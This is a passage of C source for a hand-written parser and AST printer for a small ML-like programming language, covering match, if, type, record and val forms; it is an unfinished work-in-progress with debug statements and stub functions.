head->children[1] = sometmp->right; return ASTRight(head); break; case TWITH: head = (AST *)hmalloc(sizeof(AST)); head->tag = TWITH; head->lenchildren = 0; return ASTRight(head); break; case TMATCH: head = (AST *)hmalloc(sizeof(AST)); head->tag = TMATCH; head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); AST *mcond = nil, *mval = nil, *mstack[128] = {nil}; int msp = 0; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[0] = sometmp->right; } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TWITH) { return ASTLeft(0, 0, "a `match` form's expression *must* be followed by a `with`."); } // ok, we have an expression, and with have a WITH, now // we need to read our expressions. // expression => expression // else => expression // end $ debugln; while(1) { sometmp = readexpression(fdin); debugln; if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TCALL) { mcond = sometmp->right; if(mcond->children[0]->tag != TTAG) { return ASTLeft(0, 0, "match can only decompose sum-types."); } } else if(isprimitivevalue(sometmp->right->tag) || sometmp->right->tag == TELSE) { mcond = sometmp->right; } else if(sometmp->right->tag == TEND) { break; } debugln; sometmp = readexpression(fdin); // need to figure out how to wedge guard clauses in here... if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TFATARROW) { return ASTLeft(0, 0, "match conditions *must* be followed by a fat-arrow `=>`"); } debugln; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { mval = sometmp->right; } debugln; mstack[msp] = mcond; mstack[msp + 1] = mval; msp += 2; debugln; } debugln; tmp = (AST *)hmalloc(sizeof(AST)); tmp->lenchildren = msp; tmp->children = (AST **)hmalloc(sizeof(AST *) * msp); for(int cidx = 0; cidx < msp; cidx += 2) { tmp->children[cidx] = mstack[cidx]; tmp->children[cidx + 1] = mstack[cidx + 1]; } tmp->tag = TBEGIN; head->children[1] = tmp; return ASTRight(head); break; case TIF: /* this code is surprisingly gross. * look to clean this up a bit. */ head = (AST *)hmalloc(sizeof(AST)); head->tag = TIF; head->children = (AST **)hmalloc(sizeof(AST *) * 3); head->lenchildren = 3; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[0] = sometmp->right; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } tmp = sometmp->right; if(tmp->tag != TTHEN) { return ASTLeft(0, 0, "missing THEN keyword after IF conditional: if conditional then expression else expression"); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[1] = sometmp->right; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } tmp = sometmp->right; if(tmp->tag != TELSE) { return ASTLeft(0, 0, "missing ELSE keyword after THEN value: if conditional then expression else expression"); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[2] = sometmp->right; return ASTRight(head); case TBEGIN: while(1) { //debugln; sometmp = llreadexpression(fdin, 1); // probably should make a const for WANTNL //debugln; if(sometmp->tag == ASTLEFT) { return sometmp; } //debugln; tmp = sometmp->right; //debugln; if(tmp->tag == TIDENT || tmp->tag == TTAG) { /* NOTE: general strategy for emitting a CALL * read values into vectmp, but mark the start * of the TCALL (flag == 0), and when we hit * a TSEMI (';') or TNEWL ('\n'), collapse * them into a single TCALL AST node. This works * in a similar vein for "()" code, but there * we just read until a closing parenthesis is * met (TSEMI should be a parse error there? */ if(flag == -1) { /* set the TCALL flag, for collapsing later */ flag = idx; } } else if(flag != -1 && (tmp->tag == TSEMI || tmp->tag == TNEWL || tmp->tag == TEND)) { if(tmp->tag == TEND) { debugln; fatflag = 1; } /* collapse the call into a TCALL * this has some _slight_ problems, since it * uses the same stack as the TBEGIN itself, * so as we add items to the body, there will * be less left over for intermediate calls... * could add another stack, or could just do it * this way to see how much of a problem it actually * is... */ if((idx - flag) > 1) { AST *tcall = (AST *)hmalloc(sizeof(AST)); tcall->tag = TCALL; tcall->lenchildren = idx - flag; //printf("idx == %d, flag == %d\n", idx, flag); tcall->children = (AST **)hmalloc(sizeof(AST *) * tcall->lenchildren); //printf("len == %d\n", tcall->lenchildren); for(int i = 0; i < tcall->lenchildren; i++) { //printf("i == %d\n", i); AST* ttmp = vectmp[flag + i]; /*walk(ttmp, 0); printf("\n");*/ tcall->children[i] = vectmp[flag + i]; /*walk(tcall->children[i], 0); printf("\n");*/ } tmp = tcall; } else { tmp = vectmp[flag]; } idx = flag; flag = -1; } else if(tmp->tag == TNEWL) { continue; } /*walk(tmp, 0); debugln; printf("tmp->tag == %d\n", tmp->tag);*/ if(fatflag) { vectmp[idx++] = tmp; break; } else if(tmp->tag == TEND) { break; } else { vectmp[idx++] = tmp; } //printf("tmp == nil? %s\n", tmp == nil ? "yes" : "no"); } head = (AST *)hmalloc(sizeof(AST)); head->tag = TBEGIN; head->children = (AST **)hmalloc(sizeof(AST *) * idx); head->lenchildren = idx; for(int i = 0; i < idx; i++){ //printf("vectmp[i] == nil? %s\n", vectmp[i] == nil ? "yes" : "no"); head->children[i] = vectmp[i]; } return ASTRight(head); case TEND: head = (AST *)hmalloc(sizeof(AST)); head->tag = TEND; return ASTRight(head); case TIN: head = (AST *)hmalloc(sizeof(AST)); head->tag = TIN; return ASTRight(head); case TEQUAL: head = (AST *)hmalloc(sizeof(AST)); head->tag = TEQUAL; return ASTRight(head); case TCOREFORM: break; case TTAG: case TIDENT: head = (AST *)hmalloc(sizeof(AST)); head->value = hstrdup(buffer); head->tag = ltype; return ASTRight(head); case TCALL: break; case TCUT: case TOPAREN: sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } tmp = sometmp->right; if(tmp->tag == TCPAREN) { if(ltype == TCUT){ return ASTLeft(0, 0, "illegal $() form"); } tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TUNIT; return ASTRight(tmp); } else if(tmp->tag != TIDENT && tmp->tag != TTAG) { return ASTLeft(0, 0, "cannot call non-identifier object"); } vectmp[idx++] = tmp; while(1) { sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } tmp = sometmp->right; if(tmp->tag == TCPAREN){ break; } else if(tmp->tag == TSEMI) { return ASTLeft(0, 0, "illegal semicolon within parenthetical call"); } else if(tmp->tag == TNEWL) { continue; } else { vectmp[idx++] = tmp; } } head = (AST *)hmalloc(sizeof(AST)); if(ltype == TCUT) { head->tag = TCUT; } else { head->tag = TCALL; } head->lenchildren = idx; head->children = (AST **)hmalloc(sizeof(AST *) * idx); for(int i = 0; i < idx; i++) { head->children[i] = vectmp[i]; } return ASTRight(head); case TCPAREN: head = (AST *)hmalloc(sizeof(AST)); head->value = hstrdup(buffer); head->tag = TCPAREN; return ASTRight(head); case TTHEN: head = (AST *)hmalloc(sizeof(AST)); head->value = hstrdup(buffer); head->tag = TTHEN; return ASTRight(head); case TELSE: head = (AST *)hmalloc(sizeof(AST)); head->value = hstrdup(buffer); head->tag = TELSE; return ASTRight(head); case TWHEN: head = (AST *)hmalloc(sizeof(AST)); head->tag = TWHEN; head->children = (AST **)hmalloc(sizeof(AST *) * 2); head->lenchildren = 2; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[0] = sometmp->right; } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { tmp = sometmp->right; } if(tmp->tag != TDO) { return ASTLeft(0, 0, "missing `do` statement from `when`: when CONDITION do EXPRESSION"); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[1] = sometmp->right; } return ASTRight(head); case TDO: head = (AST *)hmalloc(sizeof(AST)); head->tag = TDO; return ASTRight(head); case TOF: head = (AST *)hmalloc(sizeof(AST)); head->tag = TOF; return ASTRight(head); case TTYPE: case TPOLY: head = (AST *)hmalloc(sizeof(AST)); head->tag = ltype; head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); AST *nstack[128] = {nil}; int nsp = 0, collapse_complex = 0; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TTAG) { return ASTLeft(0, 0, "type/poly definition *must* be followed by a Tag name"); } else { head->value = sometmp->right->value; } flag = idx; /* type|poly Tag type-var* { * (Tag-name type-member*)+ * } * need to put this in a loop, so that * we can read the various idents (typevars) * befor the begin... */ while(ltmp != TBEGIN) { ltmp = next(fdin, &buffer[0], 512); if(ltmp == TBEGIN) { break; } else if(ltmp == TTAG) { debugln; tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TTAG; tmp->value = hstrdup(buffer); vectmp[idx] = tmp; idx++; } else { return ASTLeft(0, 0, "record-definition *must* begin with BEGIN"); } } if(idx > flag) { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TPARAMLIST; tmp->lenchildren = idx - flag; tmp->children = (AST **)hmalloc(sizeof(AST *) * tmp->lenchildren); debugln; for(int tidx = 0; flag < idx; flag++, tidx++) { dprintf("%d %d\n", tidx, flag); tmp->children[tidx] = vectmp[flag]; } head->children[0] = tmp; debugln; dwalk(tmp, 0); dprintf("\n"); flag = 0; idx = 0; } else { // AGAIN with the option types... head->children[0] = nil; } typestate = -1; /* here, we just need to read: * 1. a Tag name * 2. some number of variables * Honestly, could almost lift the TDEF code instead... */ while(sometmp->right->tag != TEND) { // so this below fixes the TNEWL // bug noted in test-type, but it // introduces another bug of blank // constructors. I figured that would // be a problem, because the state // transition below seems a bit off // anyway. So, more to fix there, but // close... sometmp = llreadexpression(fdin, 1); //sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } debugln; dwalk(sometmp->right, 0); dprintf("\n"); dprintf("tag == TEND? %s\n", sometmp->right->tag == TEND ? "yes" : "no"); dprintf("typestate == %d\n", typestate); switch(typestate) { case -1: if(sometmp->right->tag == TTAG) { typestate = 0; vectmp[idx] = sometmp->right; idx++; } else if(sometmp->right->tag == TEND || sometmp->right->tag == TNEWL || sometmp->right->tag == TSEMI){ typestate = -1; tmp = sometmp->right; } else { return ASTLeft(0, 0, "type/poly constructors must be Tags."); } break; case 0: if(sometmp->right->tag == TIDENT) { typestate = 1; } else if(issimpletypeast(sometmp->right->tag)) { typestate = 0; } else if(iscomplextypeast(sometmp->right->tag)) { flag = idx; // start of complex type typestate = 3; } else if(sometmp->right->tag == TEND || sometmp->right->tag == TNEWL || sometmp->right->tag == TSEMI) { typestate = -1; } else { return ASTLeft(0, 0, "constructor's must be followed by a name or a type."); } if(typestate != -1) { debugln; vectmp[idx] = sometmp->right; idx++; } break; case 1: // we had an ident, now need a type if(sometmp->right->tag == TCOLON) { typestate = 2; } else { return ASTLeft(0, 0, "constructor named vars must be followed by a colon and a type specifier."); } break; case 2: if(issimpletypeast(sometmp->right->tag)) { collapse_complex = 1; typestate = 0; } else if(iscomplextypeast(sometmp->right->tag)) { typestate = 3; } else if(sometmp->right->tag == TARRAYLITERAL) { // need to collapse previous stuff here, // but also check that we have valid types // within the array. collapse_complex = 1; typestate = 0; } else { return ASTLeft(0, 0, "expecting type in user-type definition"); } vectmp[idx] = sometmp->right; idx++; break; case 3: if(sometmp->right->tag == TOF) { typestate = 2; } else if(sometmp->right->tag == TIDENT) { // need to collapse previous type here... collapse_complex = 1; typestate = 1; } else if(issimpletypeast(sometmp->right->tag)) { collapse_complex = 1; typestate = 0; } else if(iscomplextypeast(sometmp->right->tag)) { collapse_complex = 1; typestate = 3; } else if(tmp->tag == TARRAYLITERAL) { collapse_complex = 1; typestate = 0; } else if(tmp->tag == TEND || tmp->tag == TNEWL || tmp->tag == TSEMI) { typestate = -1; } if(typestate != 2 && typestate != -1) { vectmp[idx] = sometmp->right; idx++; } break; } if(collapse_complex) { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TCOMPLEXTYPE; tmp->lenchildren = idx - flag; tmp->children = (AST **)hmalloc(sizeof(AST *) * tmp->lenchildren); for(int cidx = 0, tidx = flag, tlen = tmp->lenchildren; cidx < tlen; cidx++, tidx++) { tmp->children[cidx] = vectmp[tidx]; } vectmp[flag] = tmp; idx = flag + 1; flag = 0; /*nstack[nsp] = tmp; nsp++;*/ collapse_complex = 0; } // ok, we got to the end of *something* // collapse it here if(typestate == -1 && idx > 0) { params = (AST *) hmalloc(sizeof(AST)); params->lenchildren = idx; params->children = (AST **)hmalloc(sizeof(AST *) * idx); for(int i = 0; i < params->lenchildren; i++, flag++) { params->children[i] = vectmp[i]; } params->tag = TTYPEDEF; nstack[nsp] = params; flag = 0; idx = flag; nsp++; debugln; if(sometmp->right->tag == TEND) { debugln; break; } } } // oh, right // it would be helpful to collect the above // and make them into like... an AST debugln; params = (AST *)hmalloc(sizeof(AST)); dprintf("idx == %d\n", nsp); params->lenchildren = nsp; params->children = (AST **)hmalloc(sizeof(AST *) * nsp); for(int cidx = 0; cidx < nsp; cidx++) { params->children[cidx] = nstack[cidx]; } params->tag = TBEGIN; head->children[1] = params; debugln; return ASTRight(head); break; case TVAL: case TVAR: head = (AST *)hmalloc(sizeof(AST)); head->tag = ltype; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TIDENT) { return ASTLeft(0, 0, "val's name *must* be an identifier: `val IDENTIFIER = EXPRESSION`"); } else { head->value = sometmp->right->value; } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TEQ && sometmp->right->tag != TCOLON){ printf("error: %d\n", sometmp->right->tag); return ASTLeft(0, 0, "val's identifiers *must* be followed by an `=`: `val IDENTIFIER = EXPRESSION`"); } else if(sometmp->right->tag == TCOLON) { /* ok, the user is specifying a type here * we have to consume the type, and then * store it. */ head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "a `:` form *must* be followed by a type definition..."); } else if(issimpletypeast(sometmp->right->tag)) { head->children[1] = sometmp->right; } else { /* complex type... */ flag = idx; /* we hit a complex type, * now we're looking for * either `of` or `=`. */ vectmp[idx++] = sometmp->right; typestate = 1; while(sometmp->right->tag != TEQ) { sometmp = readexpression(fdin); if(sometmp->right->tag == ASTLEFT) { return sometmp; } switch(typestate) { case 0: // awaiting a type if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "expected type in `:` form"); } else if(issimpletypeast(sometmp->right->tag)) { typestate = 2; } else { typestate = 1; } vectmp[idx++] = sometmp->right; break; case 1: // awaiting either TOF or an end if(sometmp->right->tag == TOF) { typestate = 0; } else if(sometmp->right->tag == TEQ) { typestate = 3; } else { return ASTLeft(0, 0, "expected either an `of` or a `=`"); } break; case 2: case 3: break; } if(typestate == 2 || typestate == 3) { break; } } /* collapse the above type states here... */ tmp = (AST *) hmalloc(sizeof(AST)); tmp->tag = TCOMPLEXTYPE; tmp->lenchildren = idx - flag; tmp->children = (AST **) hmalloc(sizeof(AST *) * tmp->lenchildren); for(int cidx = 0, tidx = flag, tlen = tmp->lenchildren; cidx < tlen; cidx++, tidx++) { tmp->children[cidx] = vectmp[tidx]; } vectmp[flag] = tmp; idx = flag; flag = 0; head->children[1] = tmp; } if(typestate != 3) { sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TEQ) { return ASTLeft(0, 0, "a `val` type definition *must* be followed by an `=`..."); } } } else { head->lenchildren = 1; head->children = (AST **)hmalloc(sizeof(AST *)); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[0] = sometmp->right; } return ASTRight(head); break; case TARRAY: head = (AST *)hmalloc(sizeof(AST)); head->tag = TARRAY; return ASTRight(head); case TCOMMA: head = (AST *)hmalloc(sizeof(AST)); head->tag = TCOMMA; return ASTRight(head); case TOARR: flag = idx; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } while(sometmp->right->tag != TCARR) { if(sometmp->right->tag != TCOMMA) { vectmp[idx++] = sometmp->right; } sometmp = readexpression(fdin); } head = (AST *)hmalloc(sizeof(AST)); head->tag = TARRAYLITERAL; head->lenchildren = idx - flag; head->children = (AST **)hmalloc(sizeof(AST *) * (idx - flag)); for(int cidx = 0; flag < idx; cidx++, flag++) { head->children[cidx] = vectmp[flag]; } return ASTRight(head); case TCARR: head = (AST *)hmalloc(sizeof(AST)); head->tag = TCARR; return ASTRight(head); case TRECORD: head = (AST *)hmalloc(sizeof(AST)); head->tag = TRECORD; sometmp = llreadexpression(fdin, 1); /* I like this 3-case block-style * I think *this* should be the * "expect" function, but it's * close enough to have this pattern * throughout... */ if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TTAG) { return ASTLeft(0, 0, "record's name *must* be an identifier: `record IDENTIFIER record-definition`"); } else { tmp = sometmp->right; head->value = tmp->value; } /* so now we are at the point where * we have read the _name_ of the * record, and we have read the * `=`, so now we need to read * the definition of the record. * I have some thought that we may * want to allow a record definition * to be <ident (: type)> | { <ident (: type)> + } * but I also don't know if there * will be a huge number of * use-cases for single-member * records... */ ltmp = next(fdin, &buffer[0], 512); if(ltmp != TBEGIN) { return ASTLeft(0, 0, "record-definition *must* begin with BEGIN"); } /* here, we just need to read: * 1. an ident. * 2. either a `:` or #\n * 3. if `:`, we then need to read a type. */ while(tmp->tag != TEND) { sometmp = llreadexpression(fdin, 1); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TNEWL || sometmp->right->tag == TSEMI) { continue; } else if(sometmp->right->tag != TIDENT && sometmp->right->tag != TEND) { printf("%d", sometmp->right->tag); return ASTLeft(0, 0, "a `record`'s members *must* be identifiers: `name (: type)`"); } else if(sometmp->right->tag == TEND) { break; } else { tmp = sometmp->right; } vectmp[idx++] = tmp; sometmp = llreadexpression(fdin, 1); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TCOLON) { sometmp = llreadexpression(fdin, 1); if(sometmp->tag == ASTLEFT) { return sometmp; } if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "a `:` form *must* be followed by a type definition..."); } else if(issimpletypeast(sometmp->right->tag)) { vectmp[idx] = sometmp->right; sometmp = llreadexpression(fdin, 1); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TNEWL && sometmp->right->tag != TSEMI) { return ASTLeft(0, 0, "a simple type *must* be followed by a new line or semi-colon..."); } /* we have determined a `val <name> : <simple-type>` form * here, so store them in the record's definition. */ tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TRECDEF; tmp->lenchildren = 2; tmp->children = (AST **)hmalloc(sizeof(AST *) * 2); tmp->children[0] = vectmp[idx - 1]; tmp->children[1] = vectmp[idx]; vectmp[idx - 1] = tmp; } else { /* complex type... h*/ flag = idx; /* we hit a complex type, * now we're looking for * either `of` or `=`. */ vectmp[idx++] = sometmp->right; typestate = 1; while(sometmp->right->tag != TEQ) { sometmp = llreadexpression(fdin, 1); if(sometmp->right->tag == ASTLEFT) { return sometmp; } switch(typestate) { case 0: // awaiting a type if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "expected type in `:` form"); } else if(issimpletypeast(sometmp->right->tag)) { typestate = 2; } else { typestate = 1; } vectmp[idx++] = sometmp->right; break; case 1: // awaiting either TOF or an end if(sometmp->right->tag == TOF) { typestate = 0; } else if(sometmp->right->tag == TNEWL || sometmp->right->tag == TSEMI) { typestate = 3; } else { return ASTLeft(0, 0, "expected either a newline or a `;`"); } break; case 2: case 3: break; } if(typestate == 2 || typestate == 3) { break; } } /* collapse the above type states here... */ AST *ctmp = (AST *) hmalloc(sizeof(AST)); ctmp->tag = TCOMPLEXTYPE; ctmp->lenchildren = idx - flag; ctmp->children = (AST **) hmalloc(sizeof(AST *) * ctmp->lenchildren); for(int cidx = 0, tidx = flag, tlen = ctmp->lenchildren; cidx < tlen; cidx++, tidx++) { ctmp->children[cidx] = vectmp[tidx]; } /* create the record field defition holder */ tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TRECDEF; tmp->lenchildren = 2; tmp->children = (AST **)hmalloc(sizeof(AST *) * 2); tmp->children[0] = vectmp[flag - 1]; tmp->children[1] = ctmp; vectmp[flag - 1] = tmp; idx = flag; flag = 0; if(typestate != 3) { sometmp = llreadexpression(fdin, 1); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TSEMI && sometmp->right->tag != TNEWL && sometmp->right->tag != TEND) { return ASTLeft(0, 0, "a `record` type definition *must* be followed by a newline, a semicolon or an END"); } } } } else if(sometmp->right->tag == TNEWL || sometmp->right->tag == TSEMI) { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TRECDEF; tmp->lenchildren = 1; tmp->children = (AST **)hmalloc(sizeof(AST *)); tmp->children[0] = vectmp[idx - 1]; vectmp[idx - 1] = tmp; } else { /* we didn't see a `:` or a #\n, so that's * an error. */ return ASTLeft(0, 0, "malformed record definition."); } } /* so, we've constructed a list of record members. * now, we just need to actually _make_ the record * structure. */ head->lenchildren = idx; head->children = (AST **)hmalloc(sizeof(AST *) * idx); for(int i = 0; i < idx; i++){ head->children[i] = vectmp[i]; } return ASTRight(head); break; case THEX: case TOCT: case TBIN: case TINT: case TFLOAT: case TSTRING: case TCHAR: case TBOOL: head = (AST *)hmalloc(sizeof(AST)); head->tag = ltype; head->value = hstrdup(buffer); return ASTRight(head); case TNEWL: if(!nltreatment) { return llreadexpression(fdin, nltreatment); } else { head = (AST *)hmalloc(sizeof(AST)); head->tag = TNEWL; return ASTRight(head); } case TFALSE: case TTRUE: case TEQ: case TCHART: case TSTRT: case TINTT: case TFLOATT: case TBOOLT: case TCOLON: case TSEMI: case TFATARROW: case TPIPEARROW: case TREF: head = (AST *)hmalloc(sizeof(AST)); head->tag = ltype; return ASTRight(head); } return ASTLeft(0, 0, "unable to parse statement"); } /* almost should be renamed, but I _think_ I want to try and * rip out all the custom code used in `let`, `letrec`, and `val` * in favor of this, which is why I included a type... For example, * declare forms could break on TNEWL, whereas val could break on * TEQ. */ AST * mung_declare(const char **pdecls, const int **plexemes, int len, int haltstate) { int idx = 0, substate = 0; for(; idx < len ; idx++) { switch(substate) { } } return nil; } /* read in a single type, and return it as an AST node */ ASTOffset * mung_single_type(const char **pdecls, const int **plexemes, int len, int haltstate, int offset) { int substate = 0, flag = -1, stackptr = 0, idx = 0; const int *lexemes = *plexemes; AST *tmp = nil, *stack[128] = {nil}; if(issimpletypeast(lexemes[idx])) { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = lexemes[idx]; return ASTOffsetRight(tmp, idx); } else if(lexemes[idx] == TIDENT) { /* here, we need to check if the * next element is a TOF, because * we don't _really_ know if we * have a complex type or a simple * type based on the fact that we * have an identifier here... */ if((idx + 1) < len && lexemes[idx + 1] != TOF) { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TUSERT; tmp->value = hstrdup(pdecls[idx]); return ASTOffsetRight(tmp, idx); } } /* ok, now we're in a complex type here... */ for(flag = offset, idx = offset; idx < len; idx ++){ switch(lexemes[idx]) { case TCHART: case TSTRT: case TINTT: case TFLOATT: tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = lexemes[idx]; if(flag == -1) { return ASTOffsetRight(tmp, idx); } else { if(substate == 1) { } else if(substate == 2) { break; } else { substate = 99; } stack[stackptr] = tmp; stackptr += 1; } break; case TOPAREN: /* Ok, here, we need to know * what state we're in. It's * partially context dependent * (yuck), but it means that we * can easily parse procedures * versus tuples (for sum types) */ if(substate == 0) { /* procedure: * read single types and * a fat arrow (=>) until * we hit a TCPAREN */ } else if(substate == 2) { /* tuple for sum types: * read a type, then a TCOMMA, * then a type, until we hit * TCPAREN */ } else { substate = 99; } break; case TIDENT: /* ... */ break; case TOF: /* ... */ if(substate == 1) { substate = 2; } else { substate = 99; /* parse error */ } break; case TARRAY: case TDEQUET: /* there's a few cases to consider here: * - that the next token is TOF * - that the next token is *not* TOF * - that the next token is not TOF *and* that this is the terminal type. * for example: * array of int * array * array of array */ tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = lexemes[idx]; /* should I check for TOF here, or in another state? * _almost_ seems like another state is "cleaner"... * oooo, and that way too we can see if the () is correct */ if(flag == -1) { flag = idx + 1; substate = 1; } stack[stackptr] = tmp; stackptr += 1; break; } } return ASTOffsetRight(tmp, idx); } void indent(int level) { // should probably look to inline this // basically what we are replacing is the // inlined version of the same for(int idx = 0; idx < level; idx++) { printf(" "); } } void walk(AST *head, int level) { int idx = 0; AST *tmp = nil; for(; idx < level; idx++) { printf(" "); } if(head == nil) { printf("(nil)\n"); return; } switch(head->tag) { case TFN: case TDEF: if(head->tag == TFN) { printf("(fn "); } else { printf("(define %s ", head->value); } if(head->children[0] != nil) { walk(head->children[0], level); } if(head->lenchildren == 3) { // indent nicely printf("\n"); for(; idx < level + 1; idx++) { printf(" "); } printf("(returns "); walk(head->children[2], 0); printf(")"); } printf("\n"); walk(head->children[1], level + 1); printf(")"); break; case TVAL: case TVAR: if(head->tag == TVAL) { printf("(define-value %s ", head->value); } else { printf("(define-mutable-value %s ", head->value); } walk(head->children[0], 0); if(head->lenchildren == 2) { printf(" "); walk(head->children[1], 0); } printf(")"); break; case TLET: case TLETREC: if(head->tag == TLET) { printf("(let "); } else { printf("(letrec "); } printf("%s ", head->value); walk(head->children[0], 0); if(head->lenchildren == 3) { /* if we have a type, * go ahead and print it. */ printf(" "); walk(head->children[2], 0); } printf("\n"); walk(head->children[1], level + 1); printf(")"); break; case TWHEN: printf("(when "); walk(head->children[0], 0); printf("\n"); walk(head->children[1], level + 1); printf(")"); break; case TWHILE: printf("(while "); walk(head->children[0], 0); printf("\n"); walk(head->children[1], level + 1); printf(")"); break; case TFOR: printf("(for %s ", head->value); walk(head->children[0], 0); printf("\n"); walk(head->children[1], level + 1); printf(")"); break; case TPARAMLIST: printf("(parameter-list "); for(;idx < head->lenchildren; idx++) { walk(head->children[idx], 0); if(idx < (head->lenchildren - 1)){ printf(" "); } } printf(") "); break; case TPARAMDEF: printf("(parameter-definition "); walk(head->children[0], 0); printf(" "); walk(head->children[1], 0); printf(")"); break; case TTYPE: case TPOLY: if(head->tag == TPOLY) { printf("(polymorphic-type "); } else { printf("(type "); } printf("%s ", head->value); if(head->children[0] != nil) { walk(head->children[0], 0); } printf("\n"); for(int cidx = 0; cidx < head->children[1]->lenchildren; cidx++) { walk(head->children[1]->children[cidx], level + 1); if(cidx < (head->children[1]->lenchildren - 1)) { printf("\n"); } } printf(")\n"); break; case TTYPEDEF: printf("(type-constructor "); for(int cidx = 0; cidx < head->lenchildren; cidx++) { walk(head->children[cidx], 0); if(cidx < (head->lenchildren - 1)) { printf(" "); } } printf(")"); break; case TARRAY: printf("(type array)"); break; case TREF: printf("(type ref)"); break; case TCOMPLEXTYPE: printf("(complex-type "); for(;idx < head->lenchildren; idx++) { walk(head->children[idx], 0); if(idx < (head->lenchildren - 1)){ printf(" "); } } printf(") "); break; case TARRAYLITERAL: printf("(array-literal "); for(;idx < head->lenchildren; idx++) { walk(head->children[idx], 0); if(idx < (head->lenchildren - 1)){ printf(" "); } } printf(") "); break; case TCALL: printf("(call "); for(int i = 0; i < head->lenchildren; i++) { walk(head->children[i], 0); if(i < (head->lenchildren - 1)) { printf(" "); } } printf(")"); break; case TMATCH: debugln; printf("(match "); walk(head->children[0], 0); printf("\n"); tmp = head->children[1]; for(int cidx = 0; cidx < tmp->lenchildren; cidx += 2) { if(tmp->children[cidx]->tag == TELSE) { indent(level + 1); printf("else"); } else { walk(tmp->children[cidx], level + 1); } printf(" => "); walk(tmp->children[cidx + 1], 0); if(cidx < (tmp->lenchildren - 2)) { printf("\n"); } } printf(")"); break; case TIF: printf("(if "); walk(head->children[0], 0); printf("\n"); walk(head->children[1], level + 1); printf("\n"); walk(head->children[2], level + 1); printf(")"); break; case TIDENT: printf("(identifier %s)", head->value); break; case TTAG: printf("(tag %s)", head->value); break; case TBOOL: printf("(bool "); if(head->value[0] == 0) { printf("true)"); } else { printf("false)"); } break; case TCHAR: printf("(character #\\"); switch(head->value[0]) { case '\b': printf("backspace"); break; case '\n': printf("newline"); break; case '\r': printf("carriage"); break; case '\v': printf("vtab"); break; case '\t': printf("tab"); break; case '\0': printf("nul"); break; default: printf("%s", head->value); break; } printf(")"); break; case TFLOAT: printf("(float %s)", head->value); break; case TFALSE: case TTRUE: printf("(boolean "); if(head->tag == TFALSE) { printf("false)"); } else { printf("true)"); } break; case THEX: printf("(hex-integer %s)", head->value); break; case TOCT: printf("(octal-integer %s)", head->value); break; case TBIN: printf("(binary-integer %s)", head->value); break; case TINT: printf("(integer %s)", head->value); break; case TINTT: printf("(type integer)"); break; case TFLOATT: printf("(type float)"); break; case TBOOLT: printf("(type boolean)"); break; case TCHART: printf("(type char)"); break; case TSTRT: printf("(type string)"); break; case TSTRING: printf("(string \"%s\")", head->value); break; case TRECORD: printf("(define-record %s\n", head->value); for(int i = 0; i < head->lenchildren; i++) { walk(head->children[i], level + 1); if(i < (head->lenchildren - 1)) { printf("\n"); } } printf(")"); break; case TRECDEF: printf("(record-member "); walk(head->children[0], 0); if(head->lenchildren == 2) { printf(" "); walk(head->children[1], 0); } printf(")"); break; case TBEGIN: printf("(begin\n"); for(idx = 0; idx < head->lenchildren; idx++){ walk(head->children[idx], level + 1); if(idx < (head->lenchildren - 1)) { printf("\n"); } } printf(")"); break; case TEND: break; case TUNIT: printf("()"); break; default: printf("(tag %d)", head->tag); break; } return; } void generate_type_value(AST *head, const char *name) { int midx = 